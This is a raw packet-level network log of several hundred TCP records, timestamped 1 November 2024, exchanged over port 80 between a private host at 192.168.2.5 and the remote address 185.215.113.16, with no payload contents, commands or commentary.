Nov 1, 2024 05:01:21.847270966 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847289085 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847296953 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847302914 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847321033 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847332001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847343922 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847352028 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847357035 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847368002 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847378016 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847414017 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847435951 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847448111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847489119 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847613096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847624063 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847634077 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847645044 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847660065 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847692966 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847798109 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847810984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847852945 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.847949982 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.847963095 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.848025084 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.884884119 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.884937048 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.884948015 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885135889 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.885359049 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885374069 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885432959 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.885531902 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885544062 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885584116 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.885587931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885756969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885766983 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885806084 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.885902882 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885915041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885951042 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.885958910 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885970116 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885981083 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.885998964 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.886010885 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.886141062 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886157036 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886194944 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.886508942 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886521101 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886531115 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886567116 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.886641979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.886682987 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.887012005 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887023926 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887033939 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887044907 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887056112 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887061119 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.887068033 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887096882 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.887129068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.887497902 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887509108 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887518883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887528896 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.887563944 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.887589931 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.919301033 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.919320107 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.919368029 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.919379950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.919379950 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.919424057 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.965770960 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.965785027 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.965795994 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.965847969 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.965856075 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.965869904 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.965918064 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.966260910 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966273069 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966309071 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.966408968 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966419935 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966447115 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.966605902 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966617107 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966626883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966639042 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966645956 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.966661930 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.966962099 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966974020 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966984034 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966989040 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.966999054 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.967011929 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.967027903 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.967061043 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.967627048 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.967641115 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.967652082 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:21.967667103 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:21.967691898 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.004302979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004342079 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004354000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004404068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.004431009 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004471064 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.004539967 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004551888 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004564047 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004578114 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004589081 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.004621029 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.004795074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004908085 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004918098 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.004949093 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005034924 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005045891 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005057096 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005069017 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005074978 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005104065 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005388975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005402088 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005412102 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005425930 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005429029 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005450010 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005697012 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005707979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005718946 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005732059 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.005738974 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.005831957 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.006073952 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006086111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006097078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006108046 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006120920 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006120920 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.006133080 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006145000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006155014 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006156921 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.006166935 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006174088 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.006179094 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.006195068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.006211042 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.038707018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.038744926 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.038757086 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.038783073 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.038814068 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086169004 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086188078 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086215019 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086282969 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086385965 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086400032 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086411953 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086447001 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086468935 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086544991 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086558104 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086565018 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086647034 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086730003 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086770058 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.086930990 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086946011 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086957932 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.086997032 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087152004 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087165117 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087174892 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087199926 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087225914 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087274075 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087287903 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087302923 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087320089 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087346077 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087479115 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087491989 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087497950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087507963 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087542057 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087584019 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.087941885 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087953091 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.087982893 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.123754978 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.123785973 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.123797894 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.123827934 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.123868942 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.123985052 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.123997927 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124011040 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124025106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124042034 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124073029 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124254942 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124310017 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124321938 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124331951 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124362946 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124387026 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124530077 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124541998 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124552965 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124564886 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124577045 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124583006 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.124603033 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124645948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.124645948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125005960 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125017881 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125030041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125041008 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125065088 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125088930 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125112057 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125452042 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125462055 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125474930 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125489950 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125500917 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125503063 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125514984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125525951 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125566959 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125861883 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125871897 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125884056 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125896931 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125906944 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125919104 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.125936985 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125946999 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.125977039 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.126257896 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.126271009 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.126281977 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.126317024 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.126346111 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.157964945 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.158029079 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.158041954 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.158088923 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206515074 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206532001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206542969 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206553936 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206567049 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206588984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206593037 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206593037 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206607103 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206619978 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206629992 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206631899 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206640959 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206651926 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206655979 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206667900 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206679106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206687927 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206687927 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206701040 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206712961 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206722975 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206722975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206736088 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206747055 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206752062 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206758976 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206763029 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206773996 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206788063 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206788063 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206799984 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.206801891 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.206835985 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.242860079 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.242880106 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.242893934 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.242923975 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.242959023 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.242988110 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243000031 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243011951 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243036032 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243088961 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243100882 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243129015 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243288040 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243299961 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243316889 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243330002 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243360043 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243519068 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243531942 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243544102 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243557930 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243562937 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243587971 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243758917 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243773937 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243792057 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243803024 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243808031 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.243815899 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243827105 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.243860960 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.244205952 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244218111 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244227886 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244246960 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.244440079 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244452000 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244462967 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244474888 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244483948 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.244488001 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:22.244498014 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:22.244501114 CET	80	49715	185.215.113.16	192.168.2.5
